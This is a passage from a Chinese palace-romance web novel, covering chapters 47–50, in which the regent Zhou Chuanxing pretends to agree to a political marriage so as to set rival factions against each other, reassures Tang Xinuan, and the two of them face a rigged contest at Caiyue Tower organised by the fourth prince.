皇后也无法相信，如此乖顺的言语是那个传言里霸道凶残的摄政王所说出来的。 却听周川行又道：“川行十三岁出征打仗，最想念的便是亲人的关心，皇嫂如此在乎川行的亲事，肯定是关心川行，那川行便把婚事交给皇嫂做主。” 皇后大喜。 原来二弟竟然是个缺少关爱的可怜虫。 这么轻易把婚姻大事交给她。 只要妹妹嫁进王府做了摄政王妃，将来摄政王登基为帝，妹妹便可封为皇后，她这个姐姐还有什么好担心的。 “既然二弟没有异议，那就选个日子让你们两个见上一面，都没问题便可以请钦天监定日子了。” 第47章 从凤藻宫出来,端王如坠云里雾里。 “二哥，你真决定娶王家小姐做王妃？” 周川行云淡风轻般反问：“不然呢？” 端王还是不敢相信，“那唐姑娘怎么办？” 周川行脑海里不由得浮现出小姑娘昨晚要奖励的情形。 原来女孩子的唇可以如此柔软。 如此甜。 他必须尽快把人娶回家。 光是想想,嘴角都忍不住翘起来。 端王没听到回答，又看见二哥一脸猥亵的笑。 忽然间豁然开朗。 他二哥这招高啊，嘴上喊着一生一世一双人,可行为上一点没影响。 这不该娶王家姑娘还是要娶，喜欢的女人也不会放手。 左拥右抱，齐人之福，娇妻美妾全都有了。 早知道还能这样，他就哄着楚衍晴，告诉她只娶她一个，等她进门，自己再要几个女人，她还能反出天去！ “二哥，小弟拜服！” 唐兮暖又去了一趟军器局。 她昨天没玩够被楚衍诺搅了兴致,今天说什么也要好好转转。 小倩忍不住担心：“公子，昨天险些被世子爷抓到,今天还去啊！” 唐兮暖肯定道：“表哥不可能连着两天来军器局,今天肯定撞不到。” 刘大使研究了很多兵器，唐兮暖最喜欢他那个半成品能投掷铁蛋的抛石炮。 如果把铁蛋换成火药,威力不知道会加多少倍。 不光能杀死敌人，还能开山凿路。 刘大使昨天听了他的提议,茅塞顿开，昨晚回去研究一宿，今天连简单的图纸都出来了。 听说寒兮上门，急忙赶出去迎接。 把那份半成品图纸拿给他。 “寒公子,你看看。” 唐兮暖不懂兵器，她只能在数据上给出一些意见。 这可帮了刘大使大忙。 “我就说这些地方别扭，原来是算错了数据，寒公子可真是大周朝第一聪明人。” 唐兮暖在军器局玩了大半天，中午在军器局吃的。 下午天气凉爽些才打道回府。 路过彩月楼，发现彩月楼又出了大热闹。 唐兮暖好奇，拉着小倩挤过去。 竟然是彩月楼又要举办聪明人大赛了。 “公子，你看，他们还要举行比赛。” 连翘怂恿道：“公子，你t也报名，再拿一次第一。” 唐兮暖如今有了防备意识。 总觉得事情不太对劲，尤其李貔貅刚找过她做假。 虽然她想不到哪里不对。 “算了，我不参加。” 小倩永远支持她的决定，“公子做得对，这次比赛透着诡异，我看他们没憋好事。” 连翘自然也是支持唐兮暖的。 “就是可惜了不能来瞧热闹。” 唐兮暖疑惑道，“为什么不能来？” 连翘比唐兮暖还喜欢热闹，“能来吗？” 唐兮暖也想看看彩月楼到底要做什么，“当然，看看他们哪天比赛，我们都过来。” 紫苏已经把所有信息都观察完毕，“后天初赛。” “那我们就后天过来。” 当天晚上，端王看见唐兮暖总有些心虚的感觉。 二哥要娶太师的女儿了，看这情形，婚礼肯定定在今年。 那时唐兮暖会怎么办？ 她和楚世子从小一起长大，尚且在楚世子大婚之夜逃走。 和二哥不过相处两月，真愿意做二哥的小妾？ 别看她不懂人情世故，世俗之事也完全混沌，可她真做了什么决定，比大部分人都果断。 楚世子都要把京城翻过来了，她竟一面都不肯见。 “二哥，你确定唐姑娘能允许你娶别的女人？” 周川行正在处理朝政，闻言淡声道：“我又没说我要娶别的女人。” 端王诧异道：“那你还答应皇后。” 周川行抿了口茶，“有人比我们急。” 端王绞尽脑汁琢磨片刻，忽然眼睛一亮：“你说老四？” 周川行淡声道：“你觉得他会让我和太师联姻吗。” 端王莫名松了一口气。 “我还以为你真要娶太师女儿呢，原来是打这个主意。 二哥，没看出来，你也学会算计人心了。 德太妃给你找麻烦，那你就让他们狗咬狗去，咱们坐收渔利。” 二哥打仗十几年，才回京城一年就懂得如何谋划人心了。 果然有天赋的人，做什么都是强者。 这一刻，端王不得不佩服他这个二哥。 不过他还是担心，“万一这事被唐姑娘知道，她可不懂这里边的谋划，生你气怎么办？生气还好，万一悄悄计划离开王府……” 周川行会把这事和小姑娘说开。 小姑娘可能一时无法理解其中的算计，但他相信，他仔细解释，她会明白。 周川行回到王府时，魏敏昭已经来了。 对于周川行这个摄政王，魏敏昭没有半点敬畏之心。 前段时间，他接到摄政王命令去禁军报道，被他装病糊弄过去。 今天让他来王府，心里憋着一肚子不服。 此刻见到本人，极其敷衍地行了拱手礼。 周川行怎么可能看不出来他的态度，凉凉瞥他一眼。 径自进了小勤政殿。 端王恨不得给魏敏昭两脚，“你这什么态度？以为我二哥不能拿你怎么样？” 魏敏昭冷笑：“不就仗着皇上是他亲哥吗，真刀真枪和我爹干一仗，他敢吗？” 如果按照周川行以前的性子，早把魏敏昭大卸八块了。 可人才难求。 为了江山社稷，他必须想办法驯服各类人才，让他们为朝廷卖命。 自从当了摄政王，周川行已经逐渐不认识自己。 他竟然能一再克制自己，纵容别人。 此刻，他停住脚步，看向魏敏昭，嘴角噙起几分嘲讽：“原来是仗着父亲的余威，我还以为魏公子让我跟你干一仗，怎么魏公子还没断奶吗！” 端王更是极尽嘲讽：“我记得我五六岁时就知道遇到麻烦自己解决，怎么魏公子遇到麻烦还要回家叫长辈过来啊！” 这话可戳到魏敏昭的痛楚。 “周川行，你敢跟我比试吗？” 周川行有什么不敢：“那就亮出你的招子，看你到底有什么本事！” 魏敏昭确实是人中翘楚。 可他年轻，一直生活在京城，没经过历练。 周川行比他年长不了几岁，可周川行一直生活在战场，都是以命相搏，稍有不慎就会战死沙场。 两个人动起手来，魏敏昭连周川行十招都没躲过，就被周川行一把折扇横在脖颈上。 “你……” 魏敏昭自恃武功高强，京城年轻一辈的贵家子弟没有一个是他的对手。 今天竟然输在周川行手里。 还输的这么惨。 脸面是一点没剩，“要杀要剐随你。” 周川行懒得和他计较，“明天去禁军报道，让本王看看你的真本事。” 魏敏昭不愿意为周川行卖命，“我不去，我说了要杀要剐随便。” 当年他爹什么错都没犯，说剿了兵权就剿了兵权。 如今他为什么要为周家卖命。 周川行的耐心正在逐渐耗尽。 他一再劝自己，年轻气盛好好调教会是一块明玉。 “不想去？那你就在这给我反思，什么时候反思好了，想去禁军了，什么时候再走。” 不就是罚站吗，魏敏昭身强体壮怎么会怕。 “反思就反思，反思的结果也是不去。” 他就不信，周川行能让他在王府站一辈子。 唐兮暖傍晚才回王府。 发现有人站在小勤政殿门口，好奇道：“那是谁？犯什么错了为什么要站在那里？” 魏公公赶过来解释：“唐姑娘，您可回来了，王爷今天被那个愣头青气到了，发了好大火，您快过去看看。” 唐兮暖担心周川行，暗悔自己太过贪玩没早点回来。 她急忙从马车上跳下来，往勤政殿走。 魏敏昭慧眼如炬，一眼认出唐兮暖就是楚衍诺寻找的表妹。 尽管他是第一次见到唐兮暖。 “站住，”他忽然伸手紧紧抓住唐兮暖的手腕。 唐兮暖第一次碰到如此粗鲁的人，吓了一跳，“你是谁，干嘛抓我？” 紫苏和连翘第一时间赶过来。 可唐兮暖被人抓住，她们不好动手。 “快点放了我家公子。” 魏敏昭好笑道：“公子？我竟不知道楚世子的表妹什么时候成了男子。” 唐兮暖使劲推他的大手，“你怎么知道我是女的？” 魏敏昭当然是观察出来的。 “楚世子为你把京城都翻过来了，你竟然藏在王府，为什么不回去？” 唐兮暖才不会回去，“这是我自己的事，你快点松开我，你是坏人，我不理你。” 此时周川行听到动静赶出来，竟然看见魏敏昭抓住唐兮暖不肯松手。 厉声呵道：“魏敏昭，你赶紧给我放开。” 魏敏昭还有什么不明白的。 原来唐兮暖从侯府逃出来后竟然跟了周川行。 难怪楚衍诺寻遍京城都找不到人。 他本就不服周川行，此刻恨不得把周川行所有的丑事都暴露出来。 当然周川行也没什么丑事。 所以他只管往唐兮暖身上捅刀子，“你表哥对你那么好，你怎么忍心辜负他！” 唐兮暖辩驳不过他，况且她也不认识眼前的人。 “我都说了，我的事不用你管，你快点松开我。” 她挣扎不开向周川行求救：“二郎，你快救我，他好坏抓着我不肯松开。” 周川行也是急了，提剑便往魏敏昭身上刺。 也是魏敏昭反应灵敏，在剑锋刺过来时及时躲开。 否则这一剑就刺进他心口了。 魏敏昭岂能吃这个亏，“唐姑娘，你不要楚世子，因为他娶了别人，可摄政王就不会娶别人吗？我刚才可听说他答应了皇后，要和皇后的妹妹联姻了。 那时，你还是一个小妾。 和在侯府有什么区别。” 唐兮暖一心要帮周川行分担，一心要给他寻找人才。 甚至她还学着怎么去给一个男人名分。 明明周川行也答应她的，三年后会明媒正娶，要她的花轿光明正大的从唐家出来。 难道他也在欺骗自己？ “暖暖，”周川行还没来得及和他的姑娘解释，事情就这么赤裸裸扔在她面前。 小姑娘一时间肯定没办法整理清楚。 “听我跟你解释。” 唐兮暖一下处理不了这么复杂的信息，她脑子乱得很。 不管周川行要做什么，这个抓她手腕又让她回侯府的男人都是坏人。 “我不喜欢他，让他走。” 唐兮暖皱吧着小脸，对魏敏昭厌恶至极。 周川行怎么能这么容易放他走，“来人，把他给我关进大牢。 要单间，房间四周蒙上黑布，一丝光亮都不许透进去，一天一顿饭，任何人不许和他交谈。 方圆百米内，不许有任何声音。 陶罐，你亲自去安排。” 周川行仅存一点理智阻止了他当场斩杀魏敏昭。 “暖暖，我也不喜欢他，他是坏人。”—— 作者有话说：预收求个收藏 《兼祧两房后，相公回来了》 馨鸳刚嫁进国公府第二天，丈夫便领命出征。 三年t后传来叛变的消息。 国公府被削爵。 成为人人喊打的叛臣贼子。 国公府次子被连累到退婚，婆母担心国公府后继无人，逼着馨鸳兼祧两房。 成功诞下一男婴后，她那叛变的丈夫…… 回来了。 第48章 周川行没谈过恋爱,没应付过女人。 自小在军中长大，面对的都是一群直来直去的糙汉子，忽然遇到今天这种情况,顿时慌了手脚。 “暖暖，我也不喜欢他，他是坏人。” 干巴巴附和这么一句,接下来该如何做他是一点都不清楚。 眼睁睁看着小姑娘委屈得皱吧起小脸，甚至眼中还溢出泪水，比面对乱糟糟的朝政还令人棘手。 唐兮暖想不了那么多事。 她只听明白一句，那就是二郎要娶别人，已经给不了她名分。 “那你呢？你就不是坏人？” 唐兮暖泫然欲泣地望着眼前的男人，心口传来阵痛，她忽然推开眼前人。 “哼，你也是坏人！” 她跑出小勤政殿，回了她平时住的紫兰苑。 小倩担心她想不开，急急忙忙追上去。 “小姐,您慢点——” 周川行眼看着小姑娘跑开，无比烦躁地踢一脚旁边的枣树墩子。 幸好人是往院子里跑的,要是往外边跑,他这就杀了魏敏昭。 “二哥……” 端王也没正正经经谈过恋爱，否则也不至于到现在连个王妃都没有,整天赖在摄政王府。 况且唐兮暖又和普通人不一样。 他是一点办法都想不出来。 “要不，我去开解开解？” 周川行特别烦躁地瞥他一眼,“你别把人给我开解跑了。” 端王满心无语地叹口气。 算了，他还是去侯府走一趟吧。 自从听说楚衍晴订婚，他还没见过，总不能眼睁睁地看着她嫁给别人。 周川行怀着十分愤懑又烦躁的心情回了书房。 一份奏折都看不下去,命人将魏公公找过来。 “你吩咐下去，谁能哄唐姑娘开心，赏银一千两。” “一千两？”魏公公毛遂自荐，“王爷您放心，老奴这就去办，保证唐姑娘解开心结。” 唐兮暖跑回卧室，一时间也不知道该做什么。 小倩担心道：“王爷要娶王妃了，肯定容不下您……” 她把珠宝首饰以及主子的小金库找出来，“好在还有两千多两银子，咱们逃出去不至于生活不下去。” 唐兮暖扯过银票扔掉，随后又负气般捡回来，“我们还能去哪？” 小倩琢磨着：“咱先买处小点的宅子，大不了，您帮彩月楼做假比赛，还能饿死咱们！ 奴婢担心的是王爷把您关起来不让走。 这里可比侯府严禁，就凭我们两个，长出翅膀也飞不出去。” 唐兮暖刚逃出狼窝又进虎穴，伤心绝望却又无计可施。 “他真会关起我吗？” 那她不是又要过以前那种没有自由的日子。 小倩肯定道：“王爷可比世子爷狠辣。” 唐兮暖急坏了：“那怎么办？我们现在就走？” “唐姑娘，”魏公公端了一盘府里新做的点心。 他还没传达王爷的意思，打算先试试能不能哄好唐姑娘，一千两可就是他的了。 实在不行，他再发动所有宫女太监。 “您尝尝，这梅花饼可好吃了。” 唐兮暖在外边玩了一天，还是中午在军器局吃的午饭，之后一点东西没吃过。 看见梅花饼，确实有些饥饿之感。 可她哪有心情吃东西。 “王爷是不是让你把我关起来，再也不许出去了？” 魏公公笑道：“姑娘说的哪里话，王爷怎么可能关您，老奴刚才特意问了王爷，王爷说姑娘来去自如，还像从前一般。” 唐兮暖一点都不信他的话。 “你说真的？” 魏公公点头：“当然是真的，老奴有几个脑袋敢骗您。” 小倩疑心重：“那你说，你这梅花饼里有没有毒？” 魏公公要被小倩笑死了，“王爷刚才吩咐，谁能哄唐姑娘开心，赏银一千两，老奴是来赚钱的，哪敢得罪姑娘，命不要了！” 小倩被惊到：“哄姑娘高兴就给一千两？” 魏公公点头：“王爷是这么吩咐的，老奴还没告诉其他人，想着自己把这个银子赚了。” 小倩朝唐兮暖眨眨眼，转而问魏公公，“如果我哄小姐高兴了，那银子给我吗？” 魏公公如实回道：“当然给了，王爷只说谁哄高兴了给谁，可没说小倩姑娘不算数。” 小倩他背着魏公公说：“小姐，一千两银子呢，一会儿奴婢哄您几句，您假装开心一下，那银子就是咱们的了。” 魏公公：“……” 你们两个密谋能不能背着我点，老奴不好交差啊。 唐兮暖反应片刻，有了银子才能生存，这么轻易就赚一千两，她怎么能放过。 不过周川行有钱了？ 竟然如此大方。 “好了，本姑娘现在很高兴，小倩你跟魏公公去领银子吧。” 魏公公总觉得脖颈子凉飕飕的，王爷不会给他一刀吧。 “唐姑娘，要不您再给老奴一个机会，老奴努努力，没准就把您哄高兴了呢。” 唐兮暖泪珠子还没干利索，她怒视着魏公公道：“你不去，我就告诉王爷你欺负我！” 魏公公能怎么办，只能硬着头皮去找王爷。 也不知道是他年纪大了，还是王府宅院太大，今天的王府路面格外难走。 被小倩催了好几次两人才来到小勤政殿里的书房。 “王爷，”魏公公全身充满抗拒，“唐姑娘说她现在很高兴，让老奴带小倩来领赏银。” 周川行又不是傻子，还能看不出魏公公被人算计了。 小姑娘倒是越来越聪明了。 他挥了挥手，示意魏公公把银子交给小倩。 小倩得了赏银高高兴兴回去了。 魏公公待小倩走后，扑通一声跪到地上，“王爷，饶命——” 周川行鼻子不是鼻子脸色不是脸色，道：“自己去领罚。” 王府的处罚最低二十大板，魏公公年纪大了，哪里受得了。 “王爷……” 周川行也不是真要罚他，“我记得你们不是有什么说法，真打的皮开肉绽，一板子下去能要半条命，糊弄人的，也就破点皮在床上躺两天的事。” 魏公公明白了，“您是想让老奴用苦肉计，哄唐姑娘高兴。” 周川行无语道：“你倒是挺会想，挨完打进宫一趟，好好跟皇后诉诉苦。” 魏公公明白了，“老奴领命，这就去领罚。” 周川行怎么可能对小姑娘耍心机。 这么下去不是办法，他总得说清楚才行。 唐兮暖看见一千两银子，确实很高兴，“没想到这么容易就骗过去了。” 小倩担心道：“那我们还走不走？” 经过一炷香的时间，唐兮暖已经想清楚了。 全家的血海深仇还没报，她连仇人是谁都不知道。 绝不能自大的以为自己能弄清楚，亲手报仇。 哥哥都没办法报仇，她连生存都需要花上全部力气。 王爷答应过她，会帮她找出凶手，帮她报仇。 作为报答，她也该留在这里，继续帮他寻找人才。 所以之前的计划不变。 只不过心境有些不同。 她不再奢望周川行给她名分。 也不会妄想给他名分。 权倾朝野的摄政王怎么会稀罕她一个孤女的名分！ 再次见到周川行，她已经能很平和的面对。 有求于人，态度肯定要谦卑一些，她还记得哥哥求王爷的情形，老老实实跪地行礼。 “王爷，只要你不赶我，我是不会走的，只求你帮我唐家平反，还我唐家一十三口一个公道。” 她低着头，看不清周川行的脸色。 听不到他回应，又道：“作为报答，我也会尽力帮你。” 周川行本来就烦躁，看她低眉顺眼地给自己下跪，连二郎都不喊了，这股暴躁瞬间燃到极端。 “所以，你这是在跟我做交易？” 唐兮暖还不太明白交易的含义，她仰头看周川行，懵懵懂懂道：“嗯？” 周川行一直觉得她这段时间成长迅速，不该体会不到他的心意。 “如果我不帮你，你就会毫不犹豫的离开我是不是？” 唐兮暖绷着小脸，不知道怎么回答他。 她确实这么想的。 如果周川行不能帮他们唐家平反，她为什么要留在王府。 狗男人和表哥一样，都要娶别人了。 她才不会无名无分的留在这里。 周川行听不到回答，脸色越来越凉，神情里还有几分受伤的意味。 “连名分也不想给我了？” 总觉得男人的目光极有深意。 唐兮暖有些心虚的躲开，小手揪着衣角，任性又委屈的开口：“你又不稀罕。” “我怎么可能不稀罕，”周川行很想发顿火，可面对这样软糯的小姑娘，他能怎么办。 忍着呗！ 他俯身握住唐兮暖的小手，把人拉起来。 “外人几句挑拨你就气成这样，t二郎不喊了，名分也不给了，判我死刑也要听我分辨几句。” 周川行可怜巴巴的，唐兮暖不由得心软。 “那你分辨，我听着。” 周川行扶着她坐下，示意小倩出去。 他坐下慢慢和唐兮暖说清楚。 “问你一个问题。” 唐兮暖顺从的点了点头，“你问。” 周川行：“如果有人和你抢一个东西，他又高又壮力气还特别大，你使尽全力也抢不过，怎么办？” 唐兮暖没想过这么复杂的问题。 她顺着周川行的思路深思，“那我就先不抢，等他不防备的时候悄悄拿走。” 周川行点了点她的小鼻子，“聪明。” 唐兮暖有些回过神来了，“所以有人跟你抢东西吗？” 周川行：“是啊，这事我只说一遍，不管你能不能懂都不能为外人道。” 唐兮暖凭直觉认为周川行要和她说很重要很重要的事。 所以她挺直腰板，认认真真道：“你说，我保证不和任何人说。” 周川行相信她，“皇上病重，这大周朝的担子完全放在我身上，可有人要阻止，他也想当摄政王，甚至想当皇上……” 唐兮暖第一次听这么重要的事情，她惊的目瞪口呆。 周川行总觉得她足够聪明，是能理解其中关键的。 所以他不加保留，全都告诉她。 “如今朝廷局势复杂，我那个四弟，你见过的，他什么都想要，一直把我当成对手。 如今皇后和太师算是偏向我一点，可这种关系不牢固，他们想用各种办法控制我，让我听他们的。 可我又不能坐以待毙，当然要想办法保护自己…… 暖暖能明白吗？” 唐兮暖还真听明白一点。 “那你为什么不让皇后和四弟打起来呢？” 周川行就知道小姑娘聪明，“所以我现在正在做的事情就是让他们两边打起来。” 唐兮暖也觉得自己很聪明。 “包括你的婚事吗？” 周川行认真道：“我的婚事我做主，答应皇后，不过是抛砖引玉，等着瞧吧，用不了多久，他们就会打起来。”—— 作者有话说：感谢小可爱们的投雷灌溉： 第49章 周川行把朝廷争斗掰开了揉碎了说给唐兮暖听。 她虽然懵懂,t还是明白不少。 “那他们打起来的时候，你告诉我，我也要瞧热闹。” 小姑娘终于通透,周川行暗暗松口气。 “好，到时候一定告诉你。” 唐兮暖还有担心，“如果有一天我发现你骗我,那我就再也不喜欢你了。” 周川行举手发誓：“但凡有一个字骗你，都让我一辈子娶不上媳妇。” 小姑娘不嫁给他，他可不一辈子没媳妇了。 “那你去忙吧，”唐兮暖收了眼泪，终于笑了出来。 周川行什么都不想做。 每天睁开眼睛就是朝政，就是算计，就是一堆麻烦事，他也是人，自然也会疲惫。 “不去了，狗屁的政事,谁爱做谁做，本王今天就陪自己的小姑娘。” 唐兮暖想到他每天忙得吃不上饭,谁不好觉,难免心疼。 “我给你添麻烦了是不是？” 周川行叹了口气，“那怎么能是麻烦,你生气我娶别人，我欢喜的很呢。” 唐兮暖坐到床边,拍了拍自己的大腿，“那我给按按头好不好，我手法很好的。” 周川行身心疲敝，确实需要安抚。 他找个合适的角度躺好,等着小姑娘“宠幸”。 柔弱无骨的手指一下一下落在他额头上，太阳穴上，一天的疲惫顷刻消散。 如果什么都不用管，就这么一直相处下去，该有多好。 可惜，这种舒适的感觉并没有持续多久。 陶罐过来通报，太师上门，请他出去相见。 要说所有朝臣中，周川行来往最多的，也就是这位皇上的岳父了。 他在外领兵打仗，所需粮草几乎全部经过太师之手。 七八年间，没少被太师刁难。 幸亏他是皇上亲弟弟，一母同胞，皇上偏爱，且全完信赖。 否则几十万大军粮草不济，别说平乱收复失地，不哗变就不错了。 即使这样，两年前大军还吃过一次霉米，死了不少人。 如果不是他处理及时，威望又高，死侍众多，当时他就被愤怒的士兵踩成肉泥了。 这一笔一笔账，他可都记在心里。 早晚要和太师清算。 只不过皇上病重，他没有确凿的证据，不好对皇后和皇上的岳父动手。 再者，他手里没人，太师经营十几年，党羽无数，处理了太师一党，朝堂得空出一半。 没有人补上哪行。 所以今年秋天的乡试尤为重要，只要选拔出人才，他就可以大刀阔斧，将那些蠹虫清理干净。 刚刚还说今天什么都不做，还不到一刻钟人就要走。 唐兮暖心疼他，“二郎，你又来麻烦了是不是？” 终于改口二郎了，周川行笑着揉揉她的小脑袋，“小事，晚饭你自己先吃，我完事过来陪你。” 唐兮暖寻找人才的想法越发迫切。 孙卿兆提议什么培养比寻找靠谱，可到现在都没消息。 对了，后天彩月楼比赛，她必须赶过去看看，没准有什么奇遇也未可知。 比赛这天，唐兮暖一大早爬起来洗漱吃饭，之后换好男装出门。 今天带的是紫苏和连翘。 毕竟她们两个对彩月楼比较熟悉。 “一会儿，你们几个都精神着点，多留意一下那些花子乞丐。” 小倩明白唐兮暖的意思，“您是想再遇到一个孙卿兆吧。” 连翘也说：“没想到孙卿兆这个花子在吏部干得还有模有样的。” 唐兮暖虽然知道这比天上掉馅饼还难，可万一呢。 万一没出现，几个人瞪大眼睛一直进了彩月楼也没见到像孙卿兆那样的人才。 李貔貅看见寒兮上门，咧着大嘴迎上去，“寒公子，屋里请。” 他转身吩咐小二，“好茶好点心招待着。” 唐兮暖今天不参加比赛，也就不打算坐一楼。 二楼高耸，看得远看得清。 “二楼找个位置。” 李貔貅亲自带人上楼，安排在上次摄政王所坐的位置。 “寒公子，您请，小的还有客人需要招待，您好好玩着，有事喊小的。” 唐兮暖摆摆手，“你去吧，我只凑热闹，不用管我。” 彩月楼前段时间举行的比赛一度成为京城最热门的活动。 第二次比赛，受到第一次比赛的影响，热度更是达到前所有的高潮。 唐兮暖特意早来一会儿，彩月楼已经人满为患。 好在有李貔貅照顾，否则她连个座位都挤不到。 “公子，今天比赛来了好多人，应该比上次还要激烈。”小倩说道。 唐兮暖也是这么想的。 “不知道这次谁能得到名次。” 连翘坐在唐兮暖身边，不时有人蹭过来，她紧紧护着，生怕唐兮暖被人占到便宜。 唐兮暖让她放松，“我又不参加比赛，没人在意我。” 紫苏心细，观察入微，“公子，你有没有发现今天的比赛有些怪？” 唐兮暖只觉得比上一次比赛还挤，“哪里怪？” 紫苏指给她看，“那一排应该都是等待参加比赛的选手，年纪一个比一个大，最北边那个，叫他一声大叔都算年轻了。” “在哪里，在哪里，”连翘探头探脑的看出去，“老天爷，孙子都比咱们大了吧，还来参加比赛。” 唐兮暖也注意到了：“确实好奇怪。” 紫苏又道：“后边那一排，一个个官威十足，怎么感觉不是普通百姓呢。” 唐兮暖想起李貔貅找她做假比赛的事，“难道和今天的怪事有关？” “世……世……世子爷……” 小倩忽然大惊失色。 她竟然在人群里看见了世子爷。 唐兮暖下意识低头。 不过很快她又恢复坐姿。 彩月楼这么多人，表哥在楼下，怎么可能注意到楼上的她。 比赛很快开始，李貔貅站到台上宣布比赛规则，并请第一轮参赛选手就位。 不过今天的比赛和上一次不同，加入了评委评判环节。 楚衍诺就是今天的评委之一。 周川行今天进宫看望皇上顺便来到六部。 好家伙，六部空了一大半。 一圈走下来，见到的朝臣屈指可数，连紧急差事都没人处理了。 “人呢？” 因为不得势而被迫留下来值守的吏部侍郎，孙卿兆无奈道：“王爷，今天所有同僚都转去彩月楼办差了。” 周川行皱眉：“彩月楼？” 孙卿兆：“彩月楼今天比赛，所有朝臣都去参赛了，想着能不能得王爷器重更进一步。” 周川行：“胡闹！” 他吩咐耳朵都有些聋的礼部尚书，“你去把所有人都给本王找回来，否则今年的俸禄别想要了。” 礼部尚书趔趄着，蹒跚着跑出六部，坐上轿子直奔彩月楼。 周川行气个半死。 本事没有，歪门邪道倒是不少。 参加比赛，他们能比得过孙卿兆和姚麟？ 一份灾民安置方案，户部做了两个月都没算清楚。 否则他何至于让一个花子做四品侍郎。 “孙卿兆，你也去，不管你用什么办法，他们不回来，你也不用回来了。” “是，微臣这就去。” 孙卿兆骑上快马，比礼部尚书还早一步到达彩月楼。 如今能在朝堂占有一之地的，不是皇亲国戚就是世家大族捧出来的。 孙卿兆这个差事接的危险。 彩月楼人龙混杂，他被人下黑手，揍一顿都没处说理。 到时候，王爷为了平息众怒，只怕也要拿他说辞。 他一没身世，二没背景。 关键时刻，也只能忍了。 所以，这个差事不好办。 孙卿兆来到彩月楼门口，忽然调转方向，他要诓着端王一起去才行。 端王虽然没什么智商，也没什么魄力和手段，可他是皇上亲弟弟，谁敢明着得罪。 …… 唐兮暖认出楚衍诺之后，把李貔貅叫过来询问。 “今天的选手怎么奇形怪状的？” 李貔貅笑道：“自从孙老爷和姚老爷上任后，这满京城的人都疯了，实话跟您说吧，今天这场比赛只是借了我们彩月楼的场地，可不是我们彩月楼举办的。” 唐兮暖诧异道：“那是谁？” 李貔貅认定寒兮是摄政王的男宠，他有意投靠摄政王，自然知无不言言无不尽。 他伸出四根手指，“是四王爷操纵的，说是推举第一名做尚书呢。” 唐兮暖终于明白这其中的关键了。 “原来是这样。” 李貔貅又说：“本来邀请您参赛，只要打败您万无一失，可您不愿意参加，这才弄了这场比赛，跟你说实话，台下坐着那些，很多都是朝廷里的官员。 据说他们花了不少银子才拿到参赛名额。” 二郎为银子都要愁坏了。 睿王倒好，轻轻松松赚这么大一笔。 如果成功了，还能安排一个尚书。 他可真是好算计。 难怪二郎请她帮忙，这些人太坏了，二郎t又那么笨，早晚被他们算计。 她可得帮二郎盯好了。 “想拿第一名？”唐兮暖哼道，“也得问问我同不同意。” “李老板，你跟他们说，我愿意参加比赛。” 李貔貅高兴坏了，“那一百万两银子，我这就让他们准备好。” 唐兮暖还有条件，“不过前几轮比赛我就不参加了，直接参加最后一轮。” 她刚才看了几轮出题，都太简单，侮辱智商。 李貔貅自然没有异议，“您是上届冠军，自然不用从第一轮开始，直接进决赛。” 唐兮暖又道：“让他们先付五十万两，少一两我都不上台。” 李貔貅高高兴兴去找睿王。 唐兮暖吩咐紫苏，“你找几个力气大的男人和三十辆马车，一会儿把五十万两银子运走。” 黑吃黑的事她还没做过。 银子她要了，第一名她也不会放手。 睿王还不知道寒兮和他二哥是一起的。 听说寒兮答应了，既高兴又轻视。 “一百万两，就知道没有人不动心，还以为他多清高，还不是为本王所用。” 李貔貅有意隐瞒了寒兮和摄政王的关系。 反正他只想多赚些银子，至于他们怎么算计，全都跟他无关。 小倩担心自家小姐，“公子，你真要这些银子啊？” 唐兮暖朝她眨眨眼，“白给的不要是傻子。” 小倩还是担心：“万一惹怒了他们，会不会追杀我们？” 唐兮暖已经跟周川行站在一条线上。 如果周川行失败，她是怎么都没有好结果的。 如今，只有全力帮他才有出路。 “我最近读了不少书，书上说，人不能所有便宜都占，我也一样。” 小倩听不明白，“公子，你说的太深了。” 唐兮暖也觉得有些绕，按理这些话不该是她说出来的才对。 可如今她成长迅速，已经逐渐明白一些尔虞我诈。 “反正，坏人的钱都来路不正，我不弄些，也被他们浪费了。” 第50章 礼部尚书哆哆嗦嗦连话都说不清楚。 赶到彩月楼,被同僚猜到来意，直接堵了他的嘴。 还把他拉到首位，让他更直观的欣赏此场比赛。 “姚尚书辛苦了一辈子,没见过这么有趣的事情吧。” 姚尚书还记得他的任务，“摄……摄……摄……”摄政王让你们回去。 王员外郎根本不给他说完的机会，“瞧瞧人家孙侍郎,一个花子一步登天，一下就做到四品侍郎，让我们这些潜心读书的人怎么办。” 立刻有朝臣接道：“既然彩月楼的比赛比正途有用，那么我们还十年苦读干什么，直接参加比赛好了，没准就是下一任尚书，姚尚书，您说是不是！” 姚尚书还在磕磕巴巴表达他的来意，“王爷……王爷……”让你们都回去。 孙卿兆早预料会有这种情况了。 他人微言轻不可能有人听他的。 端王的话也未必有人听，好在他带了兵。 先把彩月楼外边的百姓赶走,之后包围彩月楼。 又受到孙卿兆指点。 “今天所有没去上值的官员，有一个算一个,全部革职拿问。” 听说革职拿问,哪个朝臣不怕，慌忙起身就要往衙署跑。 却被睿王拦住去路。 “吆,三哥好大的口气。” 端王就知道所有事情都是睿王搞出来。 “朝廷那么多事，他们不抓紧处理,却跑出来凑这种热闹，是嫌弃俸禄发多了吗？” 睿王不急不躁，阴阳怪气道：“三哥恰好说反了，大家实在太想进步这才不得不来到彩月楼参加比赛,毕竟一个花子都能做上正四品侍郎，他们努努力也不会太差。” “老四，你不要太过分！”端王吵不过睿王，每次吵架都吃亏。 有睿王拦着，端王怎么可能带得走所有朝臣。 如此便是逼着所有朝臣站队。 睿王不买账，站他的大臣自然不会买帐。 太师的人自然也不会买帐。 这两党人数占据朝臣十之七八，再去掉老弱病残，明天朝堂可就空了。 端王气了半死，可一时间又拿不出办法。 孙卿兆适时站出来。 “睿王殿下，”他恭恭敬敬行拱手礼。 神态间充满谦卑和恭敬。 “微臣倒是有个好办法。” 睿王两只眼睛没有一只能看上他的。 姚太傅和右丞相都是睿王的人。 而原吏部侍郎是右丞相举荐，自然听睿王驱使。 可摄政王竟然因为孙卿兆降其职，他凭白少一个助力，怎么可能高兴。 “你有什么办法？我可不是我二哥，那么好糊弄。” 孙卿兆恭敬道：“微臣知道在场所有朝臣都不服我，嫌弃我出身卑微，名不副实，不如我们今天就比一场，谁算学比过我，那我这个四品侍郎立刻让给他，从此退出朝堂，永不进京。” 他相信，除了寒兮，天底下没有人能比得过他。 睿王犯起踟蹰。 他手下确实不少人，可有真才实学的只怕一个都挑不出来。 何况还是算学。 大周朝最后一次科举都取消的科目。 是以沉吟着不敢答应。 端王故意激怒他：“怎么，老四不敢吗？” 